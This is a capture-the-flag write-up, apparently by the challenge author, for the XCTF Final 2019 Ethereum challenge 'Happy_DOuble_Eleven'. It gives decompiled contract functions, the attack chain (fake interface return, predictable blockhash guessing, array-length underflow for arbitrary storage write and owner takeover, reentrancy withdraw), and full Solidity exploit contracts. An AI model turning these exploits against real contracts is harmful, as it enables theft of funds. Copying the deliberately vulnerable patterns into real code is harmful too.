Fork me on GitHub
pikachu's Blog

xctf final 2019 Happy_DOuble_Eleven

前言

  • 前两天设计了一个区块链的题目,其中出现了很多问题,还好在比赛第一天夜里修复了问题,在这里简单记录一下,给各位师傅带来了麻烦,表示歉意(emmm),下面先说明一下每个版本都修复了什么问题
    • 第一个版本我就是头脑发热,把题目设计成 1000 eth 就能拿到 flag ,我真是弟弟行为,还好及时下线
    • 第二个版本是任意地址写条件没有控制的很苛刻,导致天枢利用了这一点,在非预期做出题目之后,把 codexlength 给修改成了一个相对小的数值,造成其他队伍没法做题,这一点被有心之人利用了,他们写了个脚本一直攻击刚部署上的合约,修改数组长度(23333,硬生生被玩成了AD)
    • 第三个版本是修复了版本二的问题,应该是可以正常做题的
    • 后来仔细思考了一下,版本三还是有一些问题的,不过选手做题的时候没有遇到,但是担心会出问题,所以就有了最终版本四(其实版本四也有一些问题,在 buy() 中有一条 require(storage[0x02]==1) 限制,虽然在 payforflag 后会回到初始化状态,但是这里头铁使用了 storage 变量,导致一个问题是如果正在解题的队伍使这个条件成立了,恰巧另外一支队伍也正在解题,那么他们就可以乘顺风车,如果这里使用 memory 变量就好了
    • 变更了版本其实主要还是想要让题目按照预期进行求解,给各个队伍造成了麻烦,表示抱歉(2333333…..),下面介绍一下题目
  • 以太坊 Ropsten 测试链
  • 合约地址:https://ropsten.etherscan.io/address/0x168892cb672a747f193eb4aca7b964bfb0aa6476
  • 题目:https://github.com/hitcxy/blockchain-challenges/tree/master/2019/xctf_final/Happy_DOuble_Eleven

EVM 逆向

0x6bc344bc payforflag(string)

  • 要求 msg.sender == storage[0x00]
  • 要求 msg.sender12 位为 0x111
  • 要求 storage[0x06] == 0x03
  • 要求 storage[0x05] > 0x8ac7230489e80000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
function payforflag(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] <= 0x8ac7230489e80000) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x00;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
storage[keccak256(memory[0x00:0x40])] = 0x00;
storage[0x02] = (storage[0x02] & ~0xff) | 0x00;
storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x00;
var var0 = 0x00;
var var1 = 0x0eed;
var var3 = var0;
var var2 = 0x01;
func_1489(var2, var3);
var0 = 0x296b9274d26b7baffb5cc93e1af19012c35ace27ba9acf1badff99d1f76dfa69;
var temp0 = arg0;
var1 = temp0;
var temp1 = memory[0x40:0x60];
var2 = temp1;
var3 = var2;
var temp2 = var3 + 0x20;
memory[var3:var3 + 0x20] = temp2 - var3;
memory[temp2:temp2 + 0x20] = memory[var1:var1 + 0x20];
var var4 = temp2 + 0x20;
var var6 = memory[var1:var1 + 0x20];
var var5 = var1 + 0x20;
var var7 = var6;
var var8 = var4;
var var9 = var5;
var var10 = 0x00;

if (var10 >= var7) {
label_0F50:
var temp3 = var6;
var4 = temp3 + var4;
var5 = temp3 & 0x1f;

if (!var5) {
var temp4 = memory[0x40:0x60];
log(memory[temp4:temp4 + var4 - temp4], [stack[-6]]);
return;
} else {
var temp5 = var5;
var temp6 = var4 - temp5;
memory[temp6:temp6 + 0x20] = ~(0x0100 ** (0x20 - temp5) - 0x01) & memory[temp6:temp6 + 0x20];
var temp7 = memory[0x40:0x60];
log(memory[temp7:temp7 + (temp6 + 0x20) - temp7], [stack[-6]]);
return;
}
} else {
label_0F3E:
var temp8 = var10;
memory[var8 + temp8:var8 + temp8 + 0x20] = memory[var9 + temp8:var9 + temp8 + 0x20];
var10 = temp8 + 0x20;

if (var10 >= var7) { goto label_0F50; }
else { goto label_0F3E; }
}
}

0xed21248c Deposit()

  • 每次 msg.value >= 0x1b1ae4d6e2ef500000 ,即 msg.value >= 500 eth ,然后 storage[0x05] += 1
  • 结合 payforflag 来看,这个操作不现实,因为 payforflag 中要求 storage[0x05] > 0x8ac7230489e80000 ,即要将 msg.value >= 500 eth 进行 0x8ac7230489e80000+1
1
2
3
4
5
6
7
8
function Deposit() {
if (msg.value < 0x1b1ae4d6e2ef500000) { return; }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
}

0x24b04905 gift()

  • 要求 address(msg.sender).code.length == 0 ,即在合约 constructor 中运行即可
  • 要求 msg.sender12 位为 0x0111
  • 满足上述条件后,storage[0x04] = 100storage[0x05] += 1storage[0x06] += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function gift() {
var var0 = address(msg.sender).code.length;

if (var0 != 0x00) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x00) { revert(memory[0x00:0x00]); }

if (msg.sender & 0x0fff != 0x0111) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
storage[keccak256(memory[0x00:0x40])] = 0x64;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}

0x23de8635 func_06CE(arg0)

  • 这里是调用了 0xa8286acafunction
  • 总体来看,这里调用了 0xa8286aca 两次,输入同样的参数 arg0 一次, 0xa8286aca 第一次和第二次返回的结果不一样,但是一个 function 当它的参数确定时,他的返回结果也应该是确定的,而不会两次不一样,所以 0xa8286aca 这里应该是一个接口函数,我们是可以改写的,最后改变了 storage[0x02] 的值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
function func_06CE(var arg0) {
var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0xa8286aca;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = arg0;
var var3 = temp1 + 0x20;
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = 0x00;
var var9 = var1;
var var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp2;
temp2, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp2;

if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

if (memory[var1:var1 + 0x20]) {
label_0850:
return;
} else {
storage[0x03] = arg0;
var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var2 = 0xa8286aca;
var temp3 = memory[0x40:0x60];
memory[temp3:temp3 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp4 = temp3 + 0x04;
memory[temp4:temp4 + 0x20] = storage[0x03];
var3 = temp4 + 0x20;
var4 = 0x20;
var5 = memory[0x40:0x60];
var6 = var3 - var5;
var7 = var5;
var8 = 0x00;
var9 = var1;
var10 = !address(var9).code.length;

if (var10) { revert(memory[0x00:0x00]); }

var temp5;
temp5, memory[var5:var5 + var4] = address(var9).call.gas(msg.gas).value(var8)(memory[var7:var7 + var6]);
var4 = !temp5;

if (!var4) {
var1 = memory[0x40:0x60];
var2 = returndata.length;

if (var2 < 0x20) { revert(memory[0x00:0x00]); }

storage[0x02] = !!memory[var1:var1 + 0x20] | (storage[0x02] & ~0xff);
goto label_0850;
} else {
var temp6 = returndata.length;
memory[0x00:0x00 + temp6] = returndata[0x00:0x00 + temp6];
revert(memory[0x00:0x00 + returndata.length]);
}
}
} else {
var temp7 = returndata.length;
memory[0x00:0x00 + temp7] = returndata[0x00:0x00 + temp7];
revert(memory[0x00:0x00 + returndata.length]);
}
}

0x9189fec1 guess(uint256)

  • 要求 arg0 == block.blockHash(block.number - 0x01) % 3 ,这个很容易满足,因为利用区块号生成的随机数是可预测的
  • 满足要求后,storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14 ,即 storage[0x00] 的高 96 位数值为1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
function guess(var arg0) {
var var1 = 0x00;
var var0 = block.blockHash(block.number - 0x01);
var var2 = 0x03;
var var3 = var0;

if (!var2) { assert(); }

var1 = var3 % var2;

if (var1 != arg0) { return; }

storage[0x00] = (storage[0x00] & ~(0xff * 0x0100 ** 0x14)) | 0x0100 ** 0x14;
}

0xa6f2ae3a buy()

  • 要求 storage[0x06] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[0x05] == 1 ,这些调用 gift() 空投可以完成
  • 要求 storage[02] == 1 ,结合 func_06CE 来看,只需使得 0xa8286aca 第二次调用返回 1 即可
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 1 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 满足上述要求后,storage[0x05] += 1storage[0x06] += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function buy() {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x01) { revert(memory[0x00:0x00]); }

if (!!(storage[0x02] & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] + 0x01;
}

0x47f57b32 retract()

  • 要求 storage[0x01] == 0
  • 要求 storage[0x05] == 0x02 ,调用 gift 后,再调用 buy 即可
  • 要求 storage[0x06] == 0x02 ,调用 gift 后,再调用 buy 即可
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 满足上述要求之后,storage[0x01] -= 0x1 ,这里应该是修改数组的长度
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function retract() {
if (storage[0x01] != 0x00) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = storage[0x01] - 0x01;
var var1 = 0x0cf4;
var var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
}

0x0339f300 revise(uint256,bytes32)

  • 要求 storage[0x01] >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000 ,经过 retract() 后即可满足
  • 要求 storage[0x05] == 0x02
  • 要求 storage[0x06] == 0x02
  • 要求 storage[0x00] / 0x0100 ** 0x14 & 0xff == 0x01 ,即 storage[0x00] 的高 96 位数值要求为 1 ,这个满足 guess 即可
  • 要求 arg0 >= storage[0x01]
  • 满足上述要求后,后面进行了 storage 写操作,这里是任意写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function revise(var arg0, var arg1) {
if (storage[0x01] < 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

if (!!(storage[0x00] / 0x0100 ** 0x14 & 0xff) != !!0x01) { revert(memory[0x00:0x00]); }

var var0 = arg1;
var var1 = 0x01;
var var2 = arg0;

if (var2 >= storage[var1]) { assert(); }

memory[0x00:0x20] = var1;
storage[keccak256(memory[0x00:0x20]) + var2] = var0;

if (storage[0x01] >= 0xffffffffff000000000000000000000000000000000000000000000000000000) {
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;
var temp0 = keccak256(memory[0x00:0x40]);
storage[temp0] = storage[temp0] + 0x01;
return;
} else {
var0 = 0x00;
var1 = 0x0676;
var2 = 0x01;
var var3 = var0;
func_1489(var2, var3);
revert(memory[0x00:0x00]);
}
}

0xa9059cbb transfer(address,uint256)

  • 这里是进行 storage[0x04] 之间的转账操作
1
2
3
4
5
6
7
8
9
function transfer(var arg0, var arg1) returns (var r0) {
var var0 = 0x00;
var var1 = 0x11d7;
var var2 = msg.sender;
var var3 = arg0;
var var4 = arg1;
func_126F(var2, var3, var4);
return 0x01;
}

0x2e1a7d4d withdraw(uint256)

  • 要求 storage[0x05] == 0x02
  • 要求 storage[0x06] == 0x03
  • 要求退款每次 < 100
  • 要求 storage[0x04] < arg0,即余额比每次退款要多
  • 要求合约余额比退款要多
  • 满足条件后,storage[0x04] -= arg0 ,然后调用 call 函数进行转账(这里存在重入攻击,因为没有对 gas 做控制),最后 storage[0x05] -= 0x01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function withdraw(var arg0) {
if (msg.sender != storage[0x00] & 0xffffffffffffffffffffffffffffffffffffffff) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;

if (storage[keccak256(memory[0x00:0x40])] != 0x02) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x06;

if (storage[keccak256(memory[0x00:0x40])] != 0x03) { revert(memory[0x00:0x00]); }

if (arg0 < 0x64) { revert(memory[0x00:0x00]); }

memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;

if (storage[keccak256(memory[0x00:0x40])] < arg0) { revert(memory[0x00:0x00]); }

if (address(address(this)).balance < arg0) { revert(memory[0x00:0x00]); }

var temp0 = arg0;
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x04;
var temp1 = keccak256(memory[0x00:0x40]);
storage[temp1] = storage[temp1] - temp0;
var temp2 = memory[0x40:0x60];
memory[temp2:temp2 + 0x00] = address(msg.sender).call.gas(msg.gas).value(temp0)(memory[temp2:temp2 + memory[0x40:0x60] - temp2]);
memory[0x00:0x20] = msg.sender;
memory[0x20:0x40] = 0x05;
var temp3 = keccak256(memory[0x00:0x40]);
storage[temp3] = storage[temp3] - 0x01;
}

分析

  • 通过上面的分析后,这样整个攻击链就出来了
    • 生成符合要求的外部账户,在 constructor 中调用 gift()
    • 调用 0x23de8635 func_06CE ,这里要利用 bytecode 的方式部署,因为我们不知道 func_06CE 中调用的接口函数 0xa8286aca 的函数名,所以利用 bytecode 的方式部署第三方合约,将 fake(uint256) 对应的函数选择 id 改为 0xa8286aca 即可,这样调用 0xa8286aca 就是调用我们重写之后的 0xa8286aca 了,用 bytecode 部署可以用在线的 myetherwallet.com
    • 调用 guess() ,然后调用 buy()
    • 调用 retract()revise() 修改 owner
    • 部署第三方子合约,第三方子合约调用 gift()transfer() 给攻击合约转账,然后调用 withdraw() 进行重入攻击
    • 最后调用 payforflag 即可

exp

  • 外部账户满足其部署的第一个合约地址最后 12 位是 0x111
  • 可以用下述脚本生成,generate_eoa1() 是生成外部账户最后 12 位为 0x111generate_eoa2() 是生成满足外部账户部署的第一个合约最后 12 位是 0x111 ,我们用 generate_eoa2() 即可
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from ethereum import utils
import os, sys

# generate EOA with appendix 1b1b
def generate_eoa1():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not addr.lower().endswith("111"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


# generate EOA with the ability to deploy contract with appendix 1b1b
def generate_eoa2():
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))

while not utils.decode_addr(utils.mk_contract_address(addr, 0)).endswith("111"):
priv = utils.sha3(os.urandom(4096))
addr = utils.checksum_encode(utils.privtoaddr(priv))


print('Address: {}\nPrivate Key: {}'.format(addr, priv.hex()))


if __name__ == "__main__":
if sys.argv[1] == "1":
generate_eoa1()
elif sys.argv[1] == "2":
generate_eoa2()
else:
print("Please enter valid argument")
  • exp如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
pragma solidity ^0.4.23;

contract hack {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
uint have_withdraw = 0;

int cnt = 0;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
}

function step1() public {
// storage[0x02] == 1
address(instance_address).call(bytes4(0x23de8635), 0);
}

function fake(uint256 _i) public returns(uint256) {
if(cnt == 1) {
return 1;
}
cnt = 1;
return 0;
}

function step2() public {
// guess(uint256)
uint256 v = uint256(block.blockhash(block.number-1)) % 3;
address(instance_address).call(bytes4(0x9189fec1), v);
// buy()
address(instance_address).call(bytes4(0xa6f2ae3a));
}

function step3() public {
// retract()
assert(address(instance_address).call(bytes4(0x47f57b32)));
}

function step4() public {
// revise(uint256,bytes32)
uint256 solt = 2**256-0xb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf6;
address(instance_address).call(bytes4(0x0339f300), solt, 2**160 + uint256(address(this)));
}

function step5() public {
// withdraw
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}

function() payable {
if (have_withdraw <=2 && msg.sender == instance_address) {
have_withdraw += 1;
address(instance_address).call(bytes4(0x2e1a7d4d), 100);
}
}

function step6(string b64email) public {
address(instance_address).call(bytes4(0x6bc344bc), b64email);
}
}

contract son {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;

constructor() payable {
// gift()
address(instance_address).call(bytes4(0x24b04905));
// transfer
address(instance_address).call(bytes4(0xa9059cbb), address(0x2db8f907965a5742f16f82cddced585f8bc04111), 100);
}
}

Source

  • 最后附上合约源代码及其已知源代码的 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
pragma solidity ^0.4.23;

interface Tmall {
function Chop_hand(uint) view public returns (bool);
}

contract Happy_DOuble_Eleven {

address public owner;
bool public have_money;
bytes32[] public codex;

bool public have_chopped;
uint public hand;

mapping (address => uint) public balanceOf;
mapping (address => uint) public mycart;
mapping (address => uint) public level;

event pikapika_SendFlag(string b64email);

constructor() public {
owner = msg.sender;
}

function payforflag(string b64email) onlyOwner public {
require(uint(msg.sender) & 0xfff == 0x111);
require(level[msg.sender] == 3);
require(mycart[msg.sender] > 10000000000000000000);
balanceOf[msg.sender] = 0;
level[msg.sender] = 0;
have_chopped = false;
have_money = false;
codex.length = 0;
emit pikapika_SendFlag(b64email);
}

modifier onlyOwner() {
require(msg.sender == owner);
_;
}

modifier first() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

function _transfer(address _from, address _to, uint _value) internal {
require(_to != address(0x0));
require(_value > 0);

uint256 oldFromBalance = balanceOf[_from];
uint256 oldToBalance = balanceOf[_to];

uint256 newFromBalance = balanceOf[_from] - _value;
uint256 newToBalance = balanceOf[_to] + _value;

require(oldFromBalance >= _value);
require(newToBalance > oldToBalance);

balanceOf[_from] = newFromBalance;
balanceOf[_to] = newToBalance;

assert((oldFromBalance + oldToBalance) == (newFromBalance + newToBalance));
}

function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}

function Deposit() public payable {
if(msg.value >= 500 ether){
mycart[msg.sender] += 1;
}
}

function gift() first {
require(mycart[msg.sender] == 0);
require(uint(msg.sender) & 0xfff == 0x111);
balanceOf[msg.sender] = 100;
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function Chopping(uint _hand) public {
Tmall tmall = Tmall(msg.sender);

if (!tmall.Chop_hand(_hand)) {
hand = _hand;
have_chopped = tmall.Chop_hand(hand);
}
}
function guess(uint num) public {
uint seed = uint(blockhash(block.number - 1));
uint rand = seed % 3;
if (rand == num) {
have_money = true;
}
}

function buy() public {
require(level[msg.sender] == 1);
require(mycart[msg.sender] == 1);
require(have_chopped == true);
require(have_money == true);
mycart[msg.sender] += 1;
level[msg.sender] += 1;
}


function retract() public {
require(codex.length == 0);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex.length -= 1;
}

function revise(uint i, bytes32 _person) public {
require(codex.length >= 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000);
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 2);
require(have_money == true);
codex[i] = _person;
if (codex.length < 0xffffffffff000000000000000000000000000000000000000000000000000000){
codex.length = 0;
revert();
}
else{
level[msg.sender] += 1;
}
}

function withdraw(uint _amount) onlyOwner public {
require(mycart[msg.sender] == 2);
require(level[msg.sender] == 3);
require(_amount >= 100);
require(balanceOf[msg.sender] >= _amount);
require(address(this).balance >= _amount);
balanceOf[msg.sender] -= _amount;
msg.sender.call.value(_amount)();
mycart[msg.sender] -= 1;
}
}


contract hack {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
Happy_DOuble_Eleven target = Happy_DOuble_Eleven(instance_address);
bool public flag = true;
uint have_withdraw = 0;

constructor() payable {
target.gift();
}

function Chop_hand(uint) public returns (bool){
flag = !flag;
return flag;
}

function step1() public {
target.Chopping(123);
}

function step2() public {
uint seed = uint(blockhash(block.number - 1));
uint rand = seed % 3;
target.guess(rand);
target.buy();
}

function step3() public {
target.retract();
}

function step4(uint i, bytes32 _person) public {
target.revise(i, _person);
}

function step5() public {
target.withdraw(100);
}

function() payable {
if (have_withdraw <=2 && msg.sender == instance_address) {
have_withdraw += 1;
target.withdraw(100);
}
}

function step6(string b64email) public {
target.payforflag(b64email);
}
}

contract son {
address instance_address = 0x168892cb672a747f193eb4aca7b964bfb0aa6476;
Happy_DOuble_Eleven target = Happy_DOuble_Eleven(instance_address);

constructor() payable {
target.gift();
target.transfer(address(0x9e9d7445a3851aa38f70383301d5e7f39fa03111), 100);
}
}
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2019/Happy-DOuble-Eleven/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!